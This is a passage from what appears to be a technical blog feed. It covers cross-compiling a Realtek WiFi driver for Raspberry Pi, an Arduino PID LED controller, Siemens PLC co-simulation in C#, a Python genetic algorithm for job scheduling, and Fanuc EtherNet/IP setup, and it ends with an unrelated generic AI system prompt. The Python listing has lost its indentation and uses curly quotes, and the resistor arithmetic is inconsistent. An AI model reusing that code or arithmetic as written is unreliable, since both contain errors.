make[1]: Entering directory '/home/ron/raspberrypi/linux-ca312f557513e057c456598528e663fe9d009498'
 CC [M] /home/ron/raspberrypi/rtl8192eu/core/rtw_cmd.o
cc1: error: -Werror=date-time: no option -Wdate-time
scripts/Makefile.build:258: recipe for target '/home/ron/raspberrypi/rtl8192eu/core/rtw_cmd.o' failed
make[2]: *** [/home/ron/raspberrypi/rtl8192eu/core/rtw_cmd.o] Error 1
Makefile:1384: recipe for target '_module_/home/ron/raspberrypi/rtl8192eu' failed
make[1]: *** [_module_/home/ron/raspberrypi/rtl8192eu] Error 2
make[1]: Leaving directory '/home/ron/raspberrypi/linux-ca312f557513e057c456598528e663fe9d009498'
Makefile:1455: recipe for target 'modules' failed
make: *** [modules] Error 2

Edit the Makefile :

vi $BASEDIR/rtl8192eu/Makefile

Change the following line :

EXTRA_CFLAGS += -Wno-error=date-time

By :

#EXTRA_CFLAGS += -Wno-error=date-time

Second error :

 CC [M] /home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.o
/home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.c: In function 'rtw_android_cmdstr_to_num':
/home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.c:345:3: error: implicit declaration of function 'strnicmp' [-Werror=implicit-function-declaration]
cc1: some warnings being treated as errors
scripts/Makefile.build:258: recipe for target '/home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.o' failed
make[2]: *** [/home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.o] Error 1
Makefile:1384: recipe for target '_module_/home/ron/raspberrypi/rtl8192eu' failed
make[1]: *** [_module_/home/ron/raspberrypi/rtl8192eu] Error 2
make[1]: Leaving directory '/home/ron/raspberrypi/linux-ca312f557513e057c456598528e663fe9d009498'
Makefile:1455: recipe for target 'modules' failed
make: *** [modules] Error 2

Edit the rtw_android.c:

vi $BASEDIR/rtl8192eu/os_dep/linux/rtw_android.c

Change the following line :

if(0 == strnicmp(cmdstr , android_wifi_cmd_str[cmd_num], strlen(android_wifi_cmd_str[cmd_num])) )

By :

if(0 == strncasecmp(cmdstr , android_wifi_cmd_str[cmd_num], strlen(android_wifi_cmd_str[cmd_num])) )

The compilation should be fine now !

Driver transfer

We’ll use SCP to copy the module (8192eu.ko) on our Raspberry. The IP used here is the Raspberry Pi’s.

scp 8192eu.ko pi@192.168.137.250:~

Step 3 : On the Raspberry Pi

After the transfer, the compiled driver should be in your home folder.

Activation :

sudo bash -c 'echo "options 8192eu rtw_power_mgnt=0 rtw_enusbss=0">/etc/modprobe.d/8192eu.conf'
sudo install -p -m 644 8192eu.ko /lib/modules/4.1.17+/kernel/drivers/net/wireless
sudo depmod 4.1.17+

Reboot:

sudo reboot

After a reboot, the module is loaded

>modinfo 8192eu
filename: /lib/modules/4.1.17+/kernel/drivers/net/wireless/8192eu.ko
version: v4.3.8_12406.20140929
author: Realtek Semiconductor Corp.
description: Realtek Wireless Lan Driver
license: GPL
srcversion: AFD4F17337FAE61BE3C568D
alias: usb:v2001p3319d*dc*dsc*dp*ic*isc*ip*in*
alias: usb:v0BDAp818Cd*dc*dsc*dp*icFFiscFFipFFin*
alias: usb:v0BDAp818Bd*dc*dsc*dp*icFFiscFFipFFin*

And WiFi available :

wlan0 Link encap:Ethernet HWaddr XX:XX:XX:XX:XX:XX
 inet addr:192.168.1.25 Bcast:192.168.1.255 Mask:255.255.255.0
 inet6 addr: fe80::5326:231f:6f24:cb1c/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:11598 errors:0 dropped:9 overruns:0 frame:0
 TX packets:209 errors:0 dropped:1 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:1841333 (1.7 MiB) TX bytes:26125 (25.5 KiB)

You’re done with cross compilation of a Kernel module on Ubuntu for Raspbian

PID regulation : Led brightness regulation with Arduino

Tue, 16 Jan 2024 00:00:00 +0000

PID regulation : Led brightness regulation with Arduino. To get this done we’ll first do a bit of wiring and then program our Arduino.

Led wiring and control

Wiring

Our led is a Yellow led with a 2.4v forward voltage at 20mA.
Our current source (Arduino) delivers 3.3v.
Resistor calculation : R = (3.3v - 2.4 V) / 25 mA = 0.9v / 0.02A = 45Ω

We’ll wire the cathode to one of the digital I/O of the Arduino. Note, we chose the digital I/O #3 as we’ll need to use PWM (described below).

As I just had a 47Ω resistor, this will work :

Control

In order to control the brightness of the LED, we’ll use the Pulse-width modulation (PWM), or pulse-duration modulation (PDM) :

To do this, we’ll use the following function : analogWrite(pin, value)
- pin: the pin to write to.
- value: the duty cycle: between 0 (always off) and 255 (always on)

Code sample :

void setup()
{
pinMode(3, OUTPUT); 
}

void loop()
{
//Analog write
analogWrite(3, 64); 
}

Results (0, 25%, 75%, 100%) :

Led brightness regulation

Sensor

We’ll add a light sensor as wired below :

Just place the sensor in front of the LED:

Regulation

In order to regulate, we’ll use a proportional–integral–derivative controller. A PID controller is a control loop feedback mechanism (controller) commonly used in industrial control systems. A PID controller continuously calculates an error value as the difference between a desired setpoint and a measured process variable. The controller attempts to minimize the error over time by adjustment of a control variable.

Here is the code :

#include <PID_v1.h>
//Variables
double Setpoint, Input, Output;
//PID parameters
double Kp=0, Ki=10, Kd=0;

//Start PID instance
PID myPID(&Input, &Output, &Setpoint, Kp, Ki, Kd, DIRECT);

void setup()
{
 //Start a serial connection to send data by serial connection
 Serial.begin(9600); 
 //Set point : Here is the brightness target
 Setpoint = 100;
 //Turn the PID on
 myPID.SetMode(AUTOMATIC);
 //Adjust PID values
 myPID.SetTunings(Kp, Ki, Kd);
}

void loop()
{
 //Read the value from the light sensor. Analog input : 0 to 1024. We map is to a value from 0 to 255 as it's used for our PWM function.
 Input = map(analogRead(0), 0, 1024, 0, 255); 
 //PID calculation
 myPID.Compute();
 //Write the output as calculated by the PID function
 analogWrite(3,Output);
 //Send data by serial for plotting 
 Serial.print(Input);
 Serial.print(" ");
 Serial.println(Output); 
}

PID Parameters :

Kp accounts for present values of the error (e.g. if the error is large and positive, the control variable will be large and negative).
Ki accounts for past values of the error (e.g. if the output is not sufficient to reduce the size of the error, the control variable will accumulate over time, causing the controller to apply a stronger action).
Kd accounts for possible future values of the error, based on its current rate of change.

The Arduino 1.6.6 comes with a tool called “Serial plotter”, that might be useful to graph our data:

The measured value is note stable, probably due to the PWM. A solution would be to smooth the results by doing an average on the lasts results, in order to filter the high frequency changes.

Note : You can graph several values at the same time, you just need to send them on the same line, with a space as a delimiter.

When I disrupt the system with an external light, we clearly see that the system tries to keep the brightness at the setpoint (100) by managing the led control value :

To conclude, here is how the system is handling a change from 0 to setpoint, or from setpoint to 0 :

You’re done with PID regulation : Led brightness regulation with Arduino

Siemens PLC simulation with virtual commissioning

Sun, 14 Jan 2024 00:00:00 +0000

For Siemens PLC simulation with virtual commissioning we’ll use PLCSIM Advanced and C# co-simulation.

Configuration

We’ll run the simulator and the editor on two computers :

Simulator configuration

First let’s start an instance with the following parameters :

Once started, it should be like that :

PLC Programming

Hardware configuration

Let’s do a simple configuration as follow :

Network configuration :
- PLC_1 : 192.168.1.1/24
- IO device_1 : 192.168.1.2/24

Note : On the simulator, we have different IP addresses for all the network interfaces : Ethernet adapter, PLCSIM virtual ethernet adapter, PLC and I/Os !

With the following I/Os :

Note that you’ll need to activate this option in the project settings :

Program

Our program will be very simple ! OB1 will toggle a bit every second :

And FB1 will do a safety check between the relay output and the input feedback :

Compiling and loading

You should be able to compile and load :

Simulation

As soon as you’ll run the program, you should have an error on the feedback monitoring :

Co-simulation

To solve this issue, we’ll running co-simulation with C#. The script will check the output value (%Q9.0) and set the feedback (%I0.0) accordingly. We’ll be using sharpdevelop as IDE.

Import DLL

Importing the DLL is easy :

Then we write a short program :

/*
 * Created by SharpDevelop.
 */
using System;
using System.Threading;
using Siemens.Simatic.Simulation.Runtime;

namespace CPU1515F
{
	class Program
	{
		public static void Main(string[] args)
		{
			Console.WriteLine("Starting simulation");
			//Use it for local instance
			//IInstance myInstance = SimulationRuntimeManager.CreateInterface("Golf8");

			//Use it for remote instance
			IRemoteRuntimeManager myRemoteInstance = SimulationRuntimeManager.RemoteConnect("192.168.1.101:50000");
			IInstance myInstance = myRemoteInstance.CreateInterface("1515F");
		
			//Update tag list from API
			Console.WriteLine("Tags synchronization");
			myInstance.UpdateTagList();
		
			//Start a thread to synchronize feedbacks inputs 
			Thread tFeedbacks = new Thread(()=>synchroFeedbacks(myInstance));
			tFeedbacks.Start();
			
			//Allow the user to quit simulation
			Console.WriteLine("Simulation running");
			Console.WriteLine("Press any key to quit . . . ");
			Console.ReadKey(true);
		}
		
		static void synchroFeedbacks(IInstance myInstance)
 {
			while(true){
				//Keep %I and %Q opposite
				myInstance.WriteBool("FB_KA1", !myInstance.ReadBool("KA1"));	
			}
		}
	}
}

And run it :

Once acknowledged, we should not have any issue.

Using the trace tool, we can confirm that it’s running perfectly fine, updating the input in around 100ms.

You’re done with Siemens PLC simulation with virtual commissioning.

Unrelated parallel machine scheduling optimization with a genetic algorithm

Sun, 14 Jan 2024 00:00:00 +0000

In this article, we will go through the process of unrelated parallel machine scheduling optimization with a genetic algorithm.

Introduction

For the Scheduling on Unrelated Parallel Machines proble the goal is to find an jobs/machines assignment to minimize the overall makespan, so the goal is to have the best balance between machines.

Not well balanced schedule

Well balanced schedule

Problem data

For our problem, we will consider n jobs to be assigned on m machines.

Processing time

First, the jobs processing time will be manage as follow :

Job assignment

We will manage the jobs/machines assignment as follow : If the job j is schedule on machine i then Xij = 1, else Xij = 0.

Genetic algorithms

Introduction

A genetic algorithm (GA) is a search heuristic that is used to solve optimization and search problems. It is inspired by the process of natural selection and the principles of genetics. The algorithm simulates the process of evolution, where the fittest individuals are selected for reproduction to produce the offspring of the next generation.

Here’s how it works in general:

Initial Population: The algorithm starts with a randomly generated population of possible solutions (individuals), often represented as strings of binary values, real numbers, or other data structures.
Selection: Individuals are selected based on their fitness, which is usually evaluated using a fitness function. The more suitable or “fit” an individual is for solving the problem, the higher its chance of being selected for reproduction.
Crossover (Recombination): Selected individuals are paired, and their genetic information is combined (crossover) to produce offspring. This mimics the natural genetic recombination that occurs during reproduction.
Mutation: After crossover, some offspring undergo mutation, where random changes are made to their genetic structure. This introduces variability and helps explore new solutions.
Evaluation and Replacement: The new generation of solutions is evaluated, and the least fit individuals are replaced by the new, more fit offspring.
Termination: The process repeats for several generations or until a termination criterion is met, such as finding a solution with sufficient fitness, a set number of generations, or convergence of the population.

Genetic algorithms are versatile and can be applied to various problems, including optimization, machine learning, scheduling, and engineering design. They are particularly useful for problems where the solution space is large, complex, and not easily navigable by traditional methods.

Genetic algorithm data structure

Genetic algorithm process

To find better solutions, the process is:
1- Evaluation: Sort the population based on chromosomes scores (fitness).
2- Selection: Choose the best chromosomes to generate the next population (natural selection).
3- Crossover: Mate the chromosomes between them by mixing their genome.
4- Mutation: As in a natural environment, some genes are changed arbitrarily.

Example

The goal is to give a practical idea of the genetic algorithm operations. We’ll consider a problem with 2 machines (m=2) and 4 jobs (n=4).

Processing times

Example for processing times

Population

Let’s generate 4 chromosomes randomly :

Example for population

Evaluation

Evaluation of the generated chromosomes :

Example for evaluation

Selection

Select only the bests chromosomes, here we’ll choose to keep 75% of the sorted population :

Example for selection

Crossover

1 – Choose two random chromosomes in the selected ones (the best ones).
2 – Merge these two chromosomes by mixing their genome.
3 – Store the new generated chromosome in the new population.
4 – Repeat the crossover operation until the new population is fully generated.

Example for crossover

Mutation

The mutation operation is not systematic. Usually, around 1% of the crossover chromosomes will go through a mutation. During this operation, we will randomly change a gene :

Example for mutation

Code example

Here is a Python implementation.

 __author__ = 'rfontenay'
 __description__ = 'Genetic algorithm to solve a scheduling problem of N jobs on M parallel machines'
 import random
 import time
# ******************* Parameters ******************* #
# Jobs processing times
jobsProcessingTime = [543, 545, 854, 766, 599, 657, 556, 568, 242, 371, 5, 569, 9, 614, 464, 557, 460, 970, 772, 886,
69, 423, 181, 98, 25, 642, 222, 842, 328, 799, 651, 197, 213, 666, 112, 136, 150, 810, 37, 620,
139, 721, 823, 351, 953, 765, 204, 800, 840, 132, 764, 336, 587, 514, 948, 134, 203, 766, 954,
537, 933, 458, 936, 835, 335, 690, 307, 102, 639, 635, 923, 699, 71, 913, 465, 664, 49, 198, 747,
931, 124, 41, 214, 246, 954, 676, 811, 295, 977, 100, 316, 453, 903, 50, 120, 320, 517, 441, 874,
842]
# Number of jobs
n = len(jobsProcessingTime)
# Number of machines
m = 2
# Genetic Algorithm : Population size
GA_POPSIZE = 256
# Genetic Algorithm : Elite rate
GA_ELITRATE = 0.1
# Genetic Algorithm : Mutation rate
GA_MUTATIONRATE = 0.25
# Genetic Algorithm : Iterations number
GA_ITERATIONS = 1000
# ******************* Functions ******************* #
def random_chromosome():
"""
Description :Generate a chromosome with a random genome (for each job, assign a random machine).
Input : -Line 2 of comment...
Output : Random chromosome.
"""
# Jobs assignment : Boolean matrix with 1 line by job, 1 column by machine
new_chromosome = [[0 for i in range(m)] for j in range(n)]
# For each job, assign a random machine
for i in range(n):
new_chromosome[i][random.randint(0, m - 1)] = 1
return new_chromosome
def fitness(chromosome):
"""
Description : Calculate the score of the specified chromosome.
The score is the longest processing time among all the machines processing times.
Input : A chromosome.
Output : The score/fitness.
"""
max_processing_time = -1
for i in range(m):
machine_processing_time = 0
for j in range(n):
machine_processing_time += chromosome[j][i] * jobsProcessingTime[j]
# Save the maximum processing time found
if machine_processing_time > max_processing_time:
max_processing_time = machine_processing_time
return max_processing_time
def crossover(chromosome1, chromosome2):
"""
Description : Crossover two chromosomes by alternative genes picking.
Input : Two chromosome.
Output : One chromosome.
"""
new_chromosome = [[0 for i in range(m)] for j in range(n)]
for i in range(n):
# Alternate the pickup between the two selected solutions
if not i % 2:
new_chromosome[i] = chromosome1[i]
else:
new_chromosome[i] = chromosome2[i]
return new_chromosome
def evolve(population):
"""
Description : Create a new population based on the previous population.
The new population is generated by mixing the best chromosomes of the previous population.
Input : Old population.
Output : New population.
"""
new_population = [[] for i in range(GA_POPSIZE)]
# First : Keep elites untouched
elites_size = int(GA_POPSIZE * GA_ELITRATE)
for i in xrange(elites_size): # Elitism
new_population[i] = population[i]
# Then generate the new population
for i in range(elites_size, GA_POPSIZE):
# Generate new chromosome by crossing over two from the previous population
new_population[i] = crossover(population[random.randint(0, GA_POPSIZE / 2)],
population[random.randint(0, GA_POPSIZE / 2)])
# Mutate
if random.random() < GA_MUTATIONRATE:
random_job = random.randint(0, n - 1)
# Reset assignment
new_population[i][random_job] = [0 for j in range(m)]
# Random re-assignment
new_population[i][random_job][random.randint(0, m - 1)] = 1
return new_population

# ******************* Program ******************* #
# Measure execution time
start = time.time()

# Generate an initial random population
population = [[] for i in range(GA_POPSIZE)]
for i in range(GA_POPSIZE):
population[i] = random_chromosome()

# Sort the population based on the fitness of chromosomes
population = sorted(population, key=lambda c: fitness(c))
# Print initial best makespan
print “Starting makespan = %03d” % (fitness(population[0]))
#Iterate
for i in range(GA_ITERATIONS):
# Sort the population : order by chromosone’s scores.
population = sorted(population, key=lambda c: fitness(c))
#Generate the following generation (new population)
population = evolve(population)

# Print the best fitness and the execution time after iterations
print "Ending makespan = %03d" % (fitness(population[0]))
print "Execution time = %02d s" % (time.time() - start)

You’re done with Unrelated parallel machine scheduling optimization with a genetic algorithm

EtherNet/IP simulation on Fanuc Roboguide

Thu, 11 Jan 2024 00:00:00 +0000

In order to be able to do EtherNet/IP simulation on Fanuc Roboguide, we’ll go through a few configuration steps.

EtherNet/IP Introduction

Ethernet/IP (Ethernet Industrial Protocol) is an industrial communication protocol used in automation systems to connect devices such as programmable logic controllers (PLCs), sensors, actuators, and other industrial equipment. It is based on standard Ethernet and uses the TCP/IP and UDP/IP protocols for communication. It is a widely adopted protocol in industries like manufacturing, automotive, and energy.

Here are key details about Ethernet/IP:

Protocol Overview

Standard: Ethernet/IP is defined by the ODVA (Open DeviceNet Vendors Association) and is built on the IEEE 802.3 Ethernet standard.
Application Layer: It uses the Common Industrial Protocol (CIP) for communication. CIP is the application layer that provides services for devices in industrial automation systems, such as devices connected to ControlNet, DeviceNet, and EtherNet/IP.
Communication Media: Ethernet (100Base-TX, 1000Base-T, etc.), using standard Ethernet cables and hardware.

Key Communication Types

Explicit Messaging: Uses TCP/IP to send messages between devices for configuration, diagnostics, and data exchange.
Implicit Messaging (I/O Messaging): Uses UDP/IP for real-time data exchange (e.g., control signals, process data) between devices. This is typically used for high-performance applications where low latency is crucial.

Ethernet/IP Architecture

Devices: Ethernet/IP networks consist of various devices like PLCs, I/O modules, HMIs, drives, and sensors. These devices communicate with each other through Ethernet.
I/O Devices: The most common devices in Ethernet/IP networks are I/O devices (e.g., sensors and actuators) that use implicit messaging to exchange process data.
Controller-to-Device Communication: The PLC or controller exchanges data with the field devices via explicit or implicit messaging, depending on the requirements of the application.

Robot creation in Roboguide

While doing the robot creation process, install the following options :
- R784 - Ethernet/IP Adapter
- R785 - Ethernet/IP Scanner

Network configuration

Configure the network as shown below.

Enable specific variable for Ethernet/IP simulation in Roboguide

You’re done with EtherNet/IP simulation on Fanuc Roboguide !

Mon, 01 Jan 0001 00:00:00 +0000

You are a subject matter expert with comprehensive knowledge across multiple domains. When answering questions:

Provide accurate, well-researched information
Cite relevant sources when possible
Explain complex concepts clearly
Acknowledge limitations in your knowledge
Offer multiple perspectives when appropriate

Focus on being helpful while maintaining intellectual honesty.